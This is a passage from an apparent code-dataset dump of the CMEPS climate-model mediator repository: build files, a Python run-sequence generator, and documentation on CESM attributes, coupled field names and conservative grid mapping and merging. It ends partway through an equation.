med_fraction_mod.F90\n med_methods_mod.F90 med_phases_prep_ice_mod.F90\n med_phases_restart_mod.F90 esmFldsExchange_hafs_mod.F90\n med_internalstate_mod.F90 med_phases_aofluxes_mod.F90\n med_phases_prep_lnd_mod.F90 med_time_mod.F90\n esmFldsExchange_nems_mod.F90 med_io_mod.F90\n med_phases_history_mod.F90 med_phases_prep_ocn_mod.F90\n med_utils_mod.F90 esmFlds.F90 med_kind_mod.F90\n med_phases_prep_rof_mod.F90\n med_constants_mod.F90 med_map_mod.F90\n med_phases_prep_atm_mod.F90 med_phases_prep_wav_mod.F90\n med.F90 med_merge_mod.F90 med_phases_prep_glc_mod.F90\n med_phases_profile_mod.F90 med_diag_mod.F90\n med_phases_post_ocn_mod.F90 med_phases_ocnalb_mod.F90\n med_phases_post_atm_mod.F90 med_phases_post_ice_mod.F90\n med_phases_post_lnd_mod.F90 med_phases_post_glc_mod.F90\n med_phases_post_rof_mod.F90 med_phases_post_wav_mod.F90)\n\nforeach(FILE ${SRCFILES})\n if(EXISTS \"${CASEROOT}/SourceMods/src.cmeps/${FILE}\")\n list(REMOVE_ITEM SRCFILES ${FILE})\n list(APPEND SRCFILES \"${CASEROOT}/SourceMods/src.cmeps/${FILE}\")\n message(\"Using ${FILE} from ${CASEROOT}/SourceMods/src.cmeps\")\n endif()\nendforeach()\nadd_library(cmeps ${SRCFILES})\n\nif(BLD_STANDALONE)\n add_dependencies(cmeps cmeps_share)\nendif()\n\ntarget_include_directories (cmeps PUBLIC ${ESMF_F90COMPILEPATHS})\ntarget_include_directories (cmeps PUBLIC \"${CMAKE_BINARY_DIR}/ufs\")\ntarget_include_directories (cmeps PUBLIC ${PIO_Fortran_INCLUDE_DIR})\n\ninstall(TARGETS cmeps\n LIBRARY DESTINATION lib)\n" }, { "alpha_fraction": 0.7147965431213379, "alphanum_fraction": 0.7205857038497925, "avg_line_length": 42.8283576965332, "blob_id": "a67fbe56a3bb57aa4084dba6d7b1c620c1cebdb8", "content_id": "c8d6ff7faf4b57062e43ad88e761eaed91baabe9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 5873, "license_type": "no_license", "max_line_length": 119, "num_lines": 134, "path": "/doc/source/addendum/req_attributes_cesm.rst", "repo_name": "ESCOMP/CMEPS", "src_encoding": "UTF-8", "text": ".. _cesm-attributes:\n\n=======================\n CMEPS CESM attributes\n=======================\n\nThe following *additional* attributes are required for CESM model applications.\n\nGeneral\n--------------\n\n**diro**, **logfile**\n Specifies the full pathname of the directory and filename of the directory and file name for mediator log output.\n For CESM this is determine in the attribute group ``MED_modelio`` that is generated by the CIME case control system.\n\n**flds_i2o_per_cat**\n if true, select per ice thickness category fields are passed to the ocean.\n\nToggle for active compoenents\n-----------------------------\n\n**ATM_model**, **GLC_model**, **ICE_model**, **LND_model**, **ROF_model**, **OCN_model**, **WAV_model**\n In CESM, stub components are still used. These attributes determine if the component is a stub component and sets the\n mediator present flag for that component to ``false``.\n\nMediator Mapping file attributes\n--------------------------------\n\n If a mapping file value is set to ``unset``, then CMEPS will create an online route handle instead.\n\n**ice2atm_fmapname**, **ice2atm_smapname**\n ice -> atm fluxes and state mapping files\n**lnd2atm_fmapname**, **lnd2atm_smapname**\n land -> atm fluxes and state mapping files\n**ocn2atm_smapname**, **ocn2atm_fmapname**\n ocean -> atm fluxes and state mapping files\n**atm2lnd_fmapname**, **atm2lnd_smapname**\n atm -> land fluxes and state mapping files\n**atm2ice_fmapname**, **atm2ice_smapname**, **atm2ice_vmapname**\n atmosphere -> sea-ice fluxes, state, and velocities\n**atm2ocn_fmapname**, **atm2ocn_smapname**, **atm2ocn_vmapname**\n atmosphere -> ocean fluxes, state, and velocities\n**rof2lnd_fmapname**\n river -> land flux mapping file\n**glc2lnd_fmapname**, **glc2lnd_smapname**\n land-ice -> land fluxes and state mapping files\n**glc2ice_rmapname**\n \"smoothed\" land-ice -> sea-ice liquid mapping file\n**glc2ocn_liq_rmapname**, **glc2ocn_ice_rmapname**\n \"smoothed\" land-ice -> ocean liquid and ice mapping files\n**rof2ocn_liq_rmapname**, **rof2ocn_ice_rmapname**\n \"smoothed\" river -> ocean liquid and ice mapping file\n**wav2ocn_smapname**\n wave -> ocean state mapping file\n**lnd2rof_fmapname**\n land -> river flux mapping file\n**lnd2glc_fmapname**, **lnd2glc_smapname**\n land -> land-ice flux and state mapping file\n**atm2wav_smapname**, **ice2wav_smapname**, **ocn2wav_smapname**\n atmosphere -> wave, ice -> wave and ocean -> wave state mapping files\n\n**mapuv_with_cart3d**\n used for atm->ocn and atm-ice mapping of u and v\n if true, rotate u,v to 3d cartesian space, map from src->dest, then rotate back\n\nMediator ocean albedo attributes\n--------------------------------\n\n The following are used by CMEPS to calculate ocean albedoes in used in ``med_phases_ocnalb_mod.F90``\n\n**start_type**\n Determines if start type of the run. The currently supported values are ``startup``, ``continue`` and ``branch``.\n**orb_mode**\n orbital model setting configured. The supported values are::\n\n fixed_year: uses the orb_iyear and other orb inputs are ignored. In\n this mode, the orbital parameters are constant and based on the year.\n\n variable_year: uses the orb_iyear and orb_iyear_align. In this mode,\n the orbital parameters vary as the model year advances and the model\n year orb_iyear_align has the equivalent orbital year of orb_iyear.\n\n fixed_parameters: uses the orb_eccen, orb_mvelp, and orb_obliq to set\n the orbital parameters which then remain constant through the model integration\n\n**orb_iyear**\n year of orbit, used when orb_mode is fixed_year or variable_year\n**orb_iyear_align**\n model year associated with orb_iyear when orb_mode is variable_year\n**orb_obliq**\n obliquity of orbit in degrees, used when orb_mode is fixed_parameters\n**orb_eccen**\n eccentricity of orbit, used when orb_mode is fixed_parameters.\n**orb_mvelp**\n location of vernal equinox in longitude degrees, used when orb_mode is fixed_parameters\n\nMediator land-ice component attribtes\n-------------------------------------\n\n**glc_renormalize_smb**\n Whether to renormalize the surface mass balance (smb) sent from lnd to glc so that the\n global integral on the glc grid agrees with the global integral on the lnd grid.\n\n Unlike most fluxes, smb is remapped with bilinear rather than conservative mapping weights,\n so this option is needed for conservation. However, conservation is not required in many\n cases, since we often run glc as a diagnostic (one-way-coupled) component.\n\n Allowable values are:\n ``on``: always do this renormalization\n\n ``off``: never do this renormalization (see WARNING below)\n\n ``on_if_glc_coupled_fluxes``: Determine at runtime whether to do this renormalization.\n Does the renormalization if we're running a two-way-coupled glc that sends fluxes\n to other components (which is the case where we need conservation).\n Does NOT do the renormalization if we're running a one-way-coupled glc, or if\n we're running a glc-only compset (T compsets).\n (In these cases, conservation is not important.)\n Only used if running with a prognostic GLC component.\n WARNING: Setting this to 'off' will break conservation when running with an\n evolving, two-way-coupled glc.\n\n**glc_avg_period**\n Period at which coupler averages fields sent to GLC (the land-ice component).\n This supports doing the averaging to GLC less frequently than GLC is called\n (i.e., separating the averaging frequency from the calling frequency).\n This is useful because there are benefits to only averaging the GLC inputs\n as frequently as they are really needed (yearly for CISM), but GLC needs to\n still be called more frequently than that in order to support mid-year restarts.\n Setting glc_avg_period to 'glc_coupling_period' means that the averaging is\n done exactly when the GLC is called (governed by GLC_NCPL).\n\n**glc_cpl_dt**\n glc coupling interval in seconds\n" }, { "alpha_fraction": 0.6106870174407959, "alphanum_fraction": 0.6183205842971802, "avg_line_length": 10.909090995788574, "blob_id": "d412c4e410bad3e073cac9d3431c9969762bfbfe", "content_id": "18f94418c03416a81517852059af943a9f68cb1c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 131, "license_type": "no_license", "max_line_length": 26, "num_lines": 11, "path": "/doc/source/addendum/index.rst", "repo_name": "ESCOMP/CMEPS", "src_encoding": "UTF-8", "text": ".. _addendum:\n\nAddendum\n========\n\n.. toctree::\n :maxdepth: 1\n\n req_attributes.rst\n req_attributes_cesm.rst\n fieldnames.rst\n" }, { "alpha_fraction": 0.6389632225036621, "alphanum_fraction": 0.6496655344963074, "avg_line_length": 33.970760345458984, "blob_id": "316639848c8374ccc91fd4697a3018371c83227d", "content_id": "471d52e7a8b43af9807a8b2cef6e94929f89bed3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 5980, "license_type": "no_license", "max_line_length": 118, "num_lines": 171, "path": "/doc/source/addendum/fieldnames.rst", "repo_name": "ESCOMP/CMEPS", "src_encoding": "UTF-8", "text": ".. _field_naming_convention:\n\nCMEPS field names\n=================\n\nThe following state names are currently supported. Note that each application might only use a subset of these fields.\n\n.. csv-table:: \"Atmospheric State Names (import to mediator)\"\n :header: \"stat name\", \"description\"\n :widths: 20, 60\n\n \"Sa_co2diag\", \"diagnostic CO2 at the lowest model level\"\n \"Sa_co2prog\", \"prognostic CO2 at the lowest model level\"\n \"Sa_dens\", \"air density at lowest model layer\"\n \"Sa_pbot\", \"air pressure at lowest model layer\"\n \"Sa_pslv\", \"air pressure at land and sea surface\"\n \"Sa_ptem\", \"potential temperature at lowest model layer\"\n \"Sa_shum\", \"air specific humidity at lowest model layer\"\n \"Sa_tbot\", \"air temperature at lowest model layer\"\n \"Sa_topo\", \"surface topographic height\"\n \"Sa_u\", \"air zonal wind at lowest model layer\"\n \"Sa_v\", \"air meridional wind at lowest model layer\"\n \"Sa_z\", \"air height wind at lowest model layer\"\n\n.. csv-table:: \"Sea Ice State Names (import to mediator)\"\n :header: \"name\", \"description\"\n :widths: 20, 60\n\n \"Si_anidf\", \"sea ice near infrared diffuse albedo\"\n \"Si_anidr\", \"sea ice near infrared direct albedo\"\n \"Si_avsdf\", \"sea ice visible diffuse albedo\"\n \"Si_avsdr\", \"sea ice visible direct albedo\"\n \"Si_ifrac\", \"sea ice fraction\"\n \"Si_imask\", \"sea ice land mask\"\n \"Si_ifrac_n\", \"ice fraction by thickness category\"\n \"Si_qref\", \"reference height specific humidity\"\n \"Si_qref_wiso\", \"reference specific water isotope humidity at 2 meters\"\n \"Si_t\", \"sea ice surface temperature\"\n \"Si_tref\", \"reference height temperature\"\n \"Si_u10\", \"10m wind speed\"\n \"Si_vice\", \"volume of sea ice per unit area\"\n \"Si_snowh\", \"surface snow water equivalent\"\n \"Si_vsno\", \"volume of snow per unit area\"\n\n.. csv-table:: \"Land State Names (import to mediator)\"\n :header: \"name\", \"description\"\n :widths: 20, 60\n\n \"Sl_anidf\", \"\"\n \"Sl_anidr\", \"\"\n \"Sl_avsdf\", \"\"\n \"Sl_avsdr\", \"\"\n \"Sl_ddvel\", \"\"\n \"Sl_fv\", \"\"\n \"Sl_fztop\", \"\"\n \"Sl_lfrac\", \"\"\n \"Sl_lfrin\", \"\"\n \"Sl_qref\", \"\"\n \"Sl_qref_wiso\", \"\"\n \"Sl_ram1\", \"\"\n \"Sl_snowh\", \"\"\n \"Sl_snowh_wiso\", \"\"\n \"Sl_t\", \"\"\n \"Sl_topo_elev\", \"\"\n \"Sl_topo\", \"\"\n \"Sl_tsrf_elev\", \"\"\n \"Sl_tsrf\", \"\"\n \"Sl_tref\", \"\"\n \"Sl_u10\", \"\"\n\n.. csv-table:: \"Ocean State Names (import to mediator)\"\n :header: \"name\", \"description\"\n :widths: 20, 60\n\n \"So_blddepth\", \"ocean boundary layer depth\"\n \"So_anidf\", \"ocean near infrared diffuse albedo\"\n \"So_anidr\", \"ocean near infrared direct albedo\"\n \"So_avsdf\", \"ocean visible diffuse albedo\"\n \"So_avsdr\", \"ocean visible direct albedo\"\n \"So_bldepth\", \"ocean mixed layer depth\"\n \"So_dhdx\", \"sea surface slope in meridional direction\"\n \"So_dhdy\", \"sea surface slope in zonal direction\"\n \"So_duu10n\", \"10m wind speed\"\n \"So_fswpen\", \"shortwave penetration through sea ice (all bands)\"\n \"So_ofrac\", \"ocean fraction\"\n \"So_omask\", \"ocean land mask\"\n \"So_qref\", \"reference specific humidity at 2 meters\"\n \"So_re\", \"square of exchange coefficient for tracers (mediator aoflux)\"\n \"So_s\", \"sea surface salinity\"\n \"So_ssq\", \"surface saturation specific humidity in ocean (mediator aoflux)\"\n \"So_t\", \"sea surface temperature\"\n \"So_tref\", \"reference temperature at 2 meters\"\n \"So_u\", \"ocean current in zonal direction\"\n \"So_u10\", \"10m wind speed\"\n \"So_ustar\", \"friction velocity (mediator aoflux)\"\n \"So_v\", \"ocean current in meridional direction\"\n\n.. csv-table:: \"Land Ice State Names (import to mediator)\"\n :header: \"name\", \"description\"\n :widths: 20, 60\n\n \"Sg_ice_covered\", \"\"\n \"Sg_ice_covered_elev\", \"\"\n \"Sg_icemask\", \"\"\n \"Sg_icemask_coupled_fluxes\", \"\"\n \"Sg_topo\", \"\"\n \"Sg_topo_elev\", \"\"\n\n.. csv-table:: \"Wave State Names (import to mediator) \"\n :header: \"name\", \"description\"\n :widths: 20, 60\n\n \"Sw_hstokes\", \"Stokes drift depth\"\n \"Sw_lamult\", \"Langmuir multiplier\"\n \"Sw_ustokes\", \"Stokes drift u-component\"\n \"Sw_vstokes\", \"Stokes drift v-component\"\n\n.. csv-table:: \"Mediator State Names (export from mediator)\"\n :header: \"name\", \"description\"\n :widths: 20, 60\n\n \"Sx_anidf\", \"\"\n \"Sx_anidr\", \"\"\n \"Sx_avsdf\", \"\"\n \"Sx_avsdr\", \"\"\n \"Sx_qref\", \"merged reference specific humidity at 2 meters\"\n \"Sx_t\", \"merged ice and ocean surface temperature\"\n \"Sx_tref\", \"merged reference temperature at 2 meters\"\n \"Sx_u10\", \"merged 10m wind speed\"\n\nState Variables\n~~~~~~~~~~~~~~~\n\nThe following flux prefixes are used:\n\n.. csv-table::\n :header: \"flux prefix\", \"description\"\n :widths: 20, 60\n\n \"Faxa\\_\", \"atm flux computed by atm\"\n \"Fall\\_\", \"lnd-atm flux computed by lnd\"\n \"Fioi\\_\", \"ice-ocn flux computed by ice\"\n \"Faii\\_\", \"ice_atm flux computed by ice\"\n \"Flrr\\_\", \"lnd-rof flux computed by rof\"\n \"Firr\\_\", \"rof-ice flux computed by rof\"\n \"Faxx\\_\", \"mediator merged fluxes sent to the atm\"\n \"Foxx\\_\", \"mediator merged fluxes sent to the ocn\"\n \"Fixx\\_\", \"mediator merged fluxes sent to the ice\"\n\nThe following flux-names are used:\n\n.. csv-table::\n :header: \"flux name\", \"description\"\n :widths: 20, 60\n\n \"_evap\", \"air-ice evaporative water flux, positive downwards\"\n \"_lat\", \"air-ice latent heat, positive downwards\"\n \"_lwup\", \"air-ice surface longwave flux, positive downwards\"\n \"_sen\", \"air-ice sensible heat, positive downwards\"\n \"_swnet\", \"net short wave, positive downwards\"\n \"_melth\", \"net heat flux to ocean from ice\"\n \"_meltw\", \"fresh water flux to ocean from ice\"\n \"_salt\", \"salt to ocean from ice\"\n \"_swpen\", \"flux of shortwave through ice to ocean\"\n \"_swpen_vdr\", \"flux of visible direct shortwave through ice to ocean\"\n \"_swpen_vdf\", \"flux of visible diffuse shortwave through ice to ocean\"\n \"_swpen_idr\", \"flux of near infrared direct through ice to ocean\"\n \"_swpen_idf\", \"flux of near infrared diffuse through ice to ocean\"\n \"_taux\", \"zonal stress, positive downwards\"\n \"_tauy\", \"air-ice meridional stress, positive downwards\"\n \"_q\", \"ice-ocn freezing melting potential\"\n" }, { "alpha_fraction": 0.631001353263855, "alphanum_fraction": 0.6313443183898926, "avg_line_length": 41.260868072509766, "blob_id": "9561fa964d58a1a9938d27706e8bf2597c323c4c", "content_id": "916a8628bc6a5f1e8df8845d7b47e000e88e7a20", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2916, "license_type": "no_license", "max_line_length": 112, "num_lines": 69, "path": "/cime_config/runseq/runseq_D.py", "repo_name": "ESCOMP/CMEPS", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\nimport os, shutil, sys\nfrom CIME.utils import expect\nfrom gen_runseq import RunSeq\nfrom driver_config import DriverConfig\n\n_CIMEROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), os.pardir,os.pardir,os.pardir,os.pardir))\nsys.path.append(os.path.join(_CIMEROOT, \"scripts\", \"Tools\"))\n\nfrom standard_script_setup import *\n\n#pylint:disable=undefined-variable\nlogger = logging.getLogger(__name__)\n\ndef gen_runseq(case, coupling_times):\n\n rundir = case.get_value(\"RUNDIR\")\n caseroot = case.get_value(\"CASEROOT\")\n\n driver_config = DriverConfig(case, coupling_times)\n run_atm, med_to_atm, atm_cpl_time = driver_config['atm']\n run_ice, med_to_ice, ice_cpl_time = driver_config['ice']\n run_ocn, med_to_ocn, ocn_cpl_time = driver_config['ocn']\n run_rof, _ , _ = driver_config['rof']\n\n if ice_cpl_time != atm_cpl_time:\n expect(False,\"for D compsets require that ice_cpl_time equal atm_cpl_time\")\n\n with RunSeq(os.path.join(caseroot, \"CaseDocs\", \"nuopc.runseq\")) as runseq:\n\n runseq.enter_time_loop(ocn_cpl_time, newtime=((ocn_cpl_time)))\n\n runseq.add_action(\"MED med_phases_prep_ocn_avg\" , med_to_ocn)\n runseq.add_action(\"MED -> OCN :remapMethod=redist\" , med_to_ocn)\n\n runseq.enter_time_loop(atm_cpl_time, newtime=((atm_cpl_time < ocn_cpl_time)))\n\n runseq.add_action (\"MED med_phases_aofluxes_run\" , run_ocn and run_atm and (med_to_ocn or med_to_atm))\n runseq.add_action (\"MED med_phases_prep_ocn_accum\" , med_to_ocn)\n runseq.add_action (\"MED med_phases_ocnalb_run\" , med_to_ocn)\n\n runseq.add_action (\"MED med_phases_prep_ice\" , med_to_ice)\n runseq.add_action (\"MED -> ICE :remapMethod=redist\" , med_to_ice)\n\n runseq.add_action (\"ICE\" , run_ice)\n runseq.add_action (\"ROF\" , run_rof)\n runseq.add_action (\"ATM\" , run_atm)\n\n runseq.add_action (\"ICE -> MED :remapMethod=redist\" , run_ice)\n runseq.add_action(\"MED med_phases_post_ice\" , run_ice)\n\n runseq.add_action (\"ROF -> MED :remapMethod=redist\" , run_rof)\n runseq.add_action(\"MED med_phases_post_rof\" , run_rof)\n\n runseq.add_action (\"ATM -> MED :remapMethod=redist\" , run_atm)\n runseq.add_action (\"MED med_phases_history_write\" , atm_cpl_time == ocn_cpl_time)\n runseq.add_action (\"MED med_phases_post_atm\" , run_atm)\n\n runseq.leave_time_loop(run_rof and (atm_cpl_time < ocn_cpl_time))\n\n runseq.add_action (\"OCN\" , run_ocn)\n runseq.add_action (\"OCN -> MED :remapMethod=redist\" , run_ocn)\n runseq.add_action (\"MED med_phases_history_write\" , atm_cpl_time < ocn_cpl_time)\n runseq.add_action (\"MED med_phases_post_ocn\" , run_ocn)\n\n runseq.leave_time_loop(True)\n\n shutil.copy(os.path.join(caseroot, \"CaseDocs\", \"nuopc.runseq\"), rundir)\n" }, { "alpha_fraction": 0.7031828165054321, "alphanum_fraction": 0.7083641886711121, "avg_line_length": 27.14583396911621, "blob_id": "899b8153c652cd36d7d164c7d029a4ff0ad04313", "content_id": "70172df116495232388322c8627e57be64ef60a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 1351, "license_type": "no_license", "max_line_length": 128, "num_lines": 48, "path": "/CMakeLists.txt", "repo_name": "ESCOMP/CMEPS", "src_encoding": "UTF-8", "text": "cmake_minimum_required(VERSION 3.10)\ninclude(ExternalProject)\n\nif (DEFINED CIMEROOT)\n message(\"Using CIME in ${CIMEROOT} with compiler ${COMPILER}\")\n include(${CASEROOT}/Macros.cmake)\n if (${PIO_VERSION} LESS 2)\n message( FATAL_ERROR \"Version 2 of the PIO library required\")\n endif()\n if (${MPILIB} STREQUAL \"mpi-serial\")\n set(CMAKE_C_COMPILER ${SCC})\n set(CMAKE_Fortran_COMPILER ${SFC})\n set(CMAKE_CXX_COMPILER ${SCXX})\n else()\n set(CMAKE_C_COMPILER ${MPICC})\n set(CMAKE_Fortran_COMPILER ${MPIFC})\n set(CMAKE_CXX_COMPILER ${MPICXX})\n endif()\n set(CMAKE_Fortran_FLAGS \"${FFLAGS} -I${LIBROOT}/include -I${LIBROOT}/finclude -I${LIBROOT}/nuopc/esmf/${NINST_VALUE}/include\")\nelse()\n set(BLD_STANDALONE TRUE)\nendif()\n\nproject(CMEPS LANGUAGES Fortran VERSION 0.1)\n\nlist(APPEND CMAKE_MODULE_PATH ${PROJECT_SOURCE_DIR}/cmake)\n\nmessage(\"CMAKE_MODULE_PATH is ${CMAKE_MODULE_PATH}\")\n\nfind_package(ESMF REQUIRED)\nif (DEFINED PIO)\n set(PIO_PATH ${PIO})\nelse()\n set(PIO_PATH $ENV{PIO})\nendif()\nfind_package(PIO REQUIRED COMPONENT C Fortran PATH ${PIO_PATH})\n\nif (NOT DEFINED MPILIB OR NOT ${MPILIB} STREQUAL \"mpi-serial\")\n find_package(MPI REQUIRED)\nendif()\n\nif(BLD_STANDALONE)\n add_subdirectory(ufs)\n list(APPEND EXTRA_LIBS cmeps_share)\n list(APPEND EXTRA_INCLUDES \"${CMAKE_BINARY_DIR}/ufs\")\nendif()\n\nadd_subdirectory(mediator)\n" }, { "alpha_fraction": 0.7133384346961975, "alphanum_fraction": 0.7348632216453552, "avg_line_length": 44.64817810058594, "blob_id": "95da4c702e70e4120a2e9d51acc196ecd67d57f0", "content_id": "3b79e1ed0f90992a98e301e4e771a22e5222fb5f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 28804, "license_type": "no_license", "max_line_length": 254, "num_lines": 631, "path": "/doc/source/introduction.rst", "repo_name": "ESCOMP/CMEPS", "src_encoding": "UTF-8", "text": "Introduction\n============\n\nCMEPS is a NUOPC-compliant mediator which uses ESMF to couple earth grid components in a hub and spoke system.\n\nAs a mediator, CMEPS is responsible for transferring field information from one\nmodel component to another. This transfer can require one or more operations on\nthe transferred fields, including mapping of fields between component grids,\nmerging of fields between different components and time-averaging of fields\nover varying coupling periods.\n\n\n\nComponents share information via import and export states, which are containers\nfor ESMF data types that wrap native model data. The states also contain\nmetadata, which includes physical field names, the underlying grid structure\nand coordinates, and information on the parallel decomposition of the fields.\nNote that while CMEPS itself is a mesh based mediator, component models coupled\nby the CMEPS mediator can be either grid or mesh based.\n\nEach component model using the CMEPS mediator is serviced by a NUOPC-compliant\ncap. The NUOPC cap is a small software layer between the underlying model code\nand the mediator. Fields for which the mediator has created a connection\nbetween model components are placed in either the import or export state of the\ncomponent within the NUOPC cap. The information contained within these states\nis then passed into native model arrays or structures for use by the component\nmodel.\n\nField connections made by the CMEPS mediator between components rely on\nmatching of standard field names. These standard names are defined in a field\ndictionary. Since CMEPS is a community mediator, these standard names are\nspecific to each application.\n\n \nOrganization of the CMEPS mediator code\n#######################################\n\n\nWhen you check out the code you will files, which can be organized into three\ngroups:\n\n* totally generic components that carry out the mediator functionality such as mapping, \n merging, restarts and history writes. Included here is a a \"fraction\" module that \n determines the fractions of different source model components on every source \n destination mesh.\n\n* application specific code that determines what fields are exchanged between \n components and how they are merged and mapped.\n\n* prep phase modules that carry out the mapping and merging from one or more \n source components to the destination component.\n\n=========================== ============================ ===========================\n Generic Code Application Specific Code Prep Phase Code\n=========================== ============================ ===========================\nmed.F90 esmFldsExchange_cesm_mod.F90 med_phases_prep_atm_mod.F90\nesmFlds.F90 esmFldsExchange_nems_mod.F90 med_phases_prep_ice_mod.F90\nmed_map_mod.F90 esmFldsExchange_hafs_mod.F90 med_phases_prep_ocn_mod.F90\nmed_merge_mod.F90 fd_cesm.yaml med_phases_prep_glc_mod.F90\nmed_frac_mod.F90 fd_nems.yaml med_phases_prep_lnd_mod.F90 \nmed_internalstate_mod.F90 fd_hafs.yaml med_phases_prep_rof_mod.F90 \nmed_methods_mod.F90. \nmed_phases_aofluxes_mod.F90 \nmed_phases_ocnalb_mod.F90\nmed_phases_history_mod.F90\nmed_phases_restart_mod.F90\nmed_phases_profile_mod.F90\nmed_io_mod.F90\nmed_constants_mod.F90\nmed_kind_mod.F90\nmed_time_mod.F90\nmed_utils_mod.F90\n=========================== ============================ ===========================\n\n.. note:: Some modules, such as med_phases_prep_ocn.F90 and med_frac_mod.F90 also contain application specific-code blocks.\n\nMapping and Merging Primer\n#######################################\n\nThis section provides a primer on mapping (interpolation) and merging of gridded\ncoupled fields. Masks, support for partial fractions on grids, weights generation, \nand fraction \nweighted mapping and merging all play roles in the conservation and quality of the\ncoupled fields.\n\nA pair of atmosphere and ocean/ice grids can be used to highlight the analysis.\n\n.. image:: CMEPS-grid1.png\n :width: 400\n :alt: Sample CMEPS grids\n\nThe most general CMEPS mediator assumes the ocean and sea ice surface grids are \nidentical while the atmosphere and land grids are also identical. The ocean/ice\ngrid defines the mask which means each ocean/ice gridcell is either a fully\nactive ocean/ice gridcell or not (i.e. land). Other configurations have been \nand can be implemented and analyzed as well. \n\nThe ocean/ice mask interpolated to the atmosphere/land grid\ndetermines the complementary ocean/ice and land masks on the atmosphere grid.\nThe land model supports partially active gridcells such that each atmosphere\ngridcell may contain a fraction of land, ocean, and sea ice.\n\nFocusing on a single atmosphere grid cell.\n\n.. image:: CMEPS-grid2.png\n :width: 400\n :alt: Sample CMEPS gridcell overlap\n\nThe gridcells can be labeled as follows.\n\n.. image:: CMEPS-grid3.png\n :width: 300\n :alt: Sample CMEPS gridcell naming convention\n\nThe atmosphere gridcell is labeled \"a\". On the atmosphere gridcell (the red box), \nin general,\nthere is a land fraction (fal), an ocean fraction (fao), and a sea ice fraction\n(fai). The sum of the surface fractions should always be 1.0 in these\nconventions. There is also a gridbox average field on the atmosphere grid (Fa). \nThis could be a flux or a state that is \nderived from the equivalent land (Fal), ocean (Fao), and sea ice (Fai) fields.\nThe gridbox average field is computed by merging the various surfaces::\n\n Fa = fal*Fal + fao*Fao + fai*Fai\n\nThis is a standard merge where::\n\n fal + fao + fai = 1.0\n\nand each surface field, Fal, Fao, and Fai are the values of the surface fields\non the atmosphere grid.\n\nThe ocean gridcells (blue boxes) are labeled 1, 2, 3, and 4 in this example. \nIn general, \neach ocean/ice gridcell partially overlaps multiple atmosphere gridcells. \nEach ocean/ice gridcell has an overlapping Area (A) and a Mask (M) associated with it.\nIn this example, land is colored green, ocean blue, and sea ice white so just for\nthe figure depicted::\n\n M1 = 0\n M2 = M3 = M4 = 1\n\nAgain, the ocean/ice areas (A) are overlapping areas so the sum of the overlapping\nareas is equal to the atmophere area::\n\n Aa = A1 + A2 + A3 + A4\n\nThe mapping weight (w) defined in this example allows a field on the ocean/ice\ngrid to be interpolated to the atmosphere/land grid. The mapping weights can\nbe constructed to be conservative, bilinear, bicubic, or with many other\napproaches. The main point is that the weights represent a linear sparse matrix\nsuch that in general::\n\n Xa = [W] * Xo\n\nwhere Xa and Xo represent the vector of atmophere and ocean gridcells respectively,\nand W is the sparse matrix weights linking each ocean gridcell to a set of atmosphere\ngridcells. Nonlinear interpolation is not yet supported in most coupled systems.\n\nMapping weights can be defined in a number of ways even beyond conservative\nor bilinear. They can be masked or normalized using multiple approaches. The\nweights generation is intricately tied to other aspects of the coupling method. \nIn CMEPS, area-overlap conservative weights are defined as follows::\n\n w1 = A1/Aa\n w2 = A2/Aa\n w3 = A3/Aa\n w4 = A4/Aa\n\nThis simple approach which does not include any masking or normalization provides a \nnumber of useful attributes. The weights always add up to 1.0::\n\n w1 + w2 + w3 + w4 = 1.0\n\nand a general area weighted average of fields on the ocean/ice grid mapped to\nthe atmosphere grid would be::\n\n Fa = w1*F1 + w2*F2 + w3*F3 + w4*F4\n\nThese weights conserve area::\n\n w1*Aa + w2*Aa + w3*Aa + w4*Aa = Aa\n\nand can be used to interpolate the ocean/ice mask to the atmosphere grid to compute\nthe land fraction::\n\n f_ocean = w1*M1 + w2*M2 + w3*M3 + w4*M4\n f_land = (1-f_ocean)\n\nThese weights also can be used to interpolate surface fractions::\n\n fal = w1*fl1 + w2*fl2 + w3*fl3 + w4*fl4\n fao = w1*fo1 + w2*fo2 + w3*fo3 + w4*fo4\n fai = w1*fi1 + w2*fi2 + w3*fi3 + w4*fi4\n\nChecking sums::\n\n fal + fao + fai = w1*(fl1+fo1+fi1) + w2*(fl2+fo2+fi2) + w3*(fl3+fo3+fi3) + w4*(fl4+fo4+fi4)\n fal + fao + fai = w1 + w2 + w3 + w4 = 1.0\n\nAnd the equation for f_land and fal above are consistent if fl1=1-M1::\n\n f_land = 1 - f_ocean\n f_land = 1 - (w1*M1 + w2*M2 + w3*M3 + w4*M4)\n\n fal = w1*(1-M1) + w2*(1-M2) + w3*(1-M3) + w4*(1-M4)\n fal = w1 + w2 + w3 + w4 - (w1*M1 + w2*M2 + w3*M3 + w4*M4)\n fal = 1 - (w1*M1 + w2*M2 + w3*M3 + w4*M4)\n\nClearly defined and consistent weights, areas, fractions, and masks is critical \nto generating conservation in the system.\n\nWhen mapping masked or fraction weighted fields, these weights require that the\nmapped field be normalized by the mapped fraction. Consider a case where sea \nsurface temperature (SST) is to be mapped to the atmosphere grid with::\n\n M1 = 0; M2 = M3 = M4 = 1\n w1, w2, w3, w4 are defined as above (ie. A1/Aa, A2/Aa, A3/Aa, A4/Aa)\n\nThere are a number of ways to compute the mapped field. The direct weighted\naverage equation, **Fa = w1*Fo1 + w2*Fo2 + w3*Fo3 + w4*Fo4, is ill-defined**\nbecause w1 is non-zero and Fo1 is underfined since it's a land gridcell\non the ocean grid. A masked weighted average,\n**Fa = M1*w1*Fo1 + M2*w2*Fo2 + M3*w3*Fo3 + M4*w4*Fo4 is also problematic**\nbecause M1 is zero, so the contribution of the first term is zero. But the sum\nof the remaining weights (M2*w2 + M3*w3 + M4*w4) is now not identically 1 \nwhich means the weighted average is incorrect. (To test this, assume all the \nweights are each 0.25 and all the Fo values are 10 degC, Fa would then be 7.5 degC).\nNext consider a masked weighted normalized average,\n**f_ocean = (w1*M1 + w2*M2 + w3*M3 + w4*M4) combined with\nFa = (M1*w1*Fo1 + M2*w2*Fo2 + M3*w3*Fo3 + 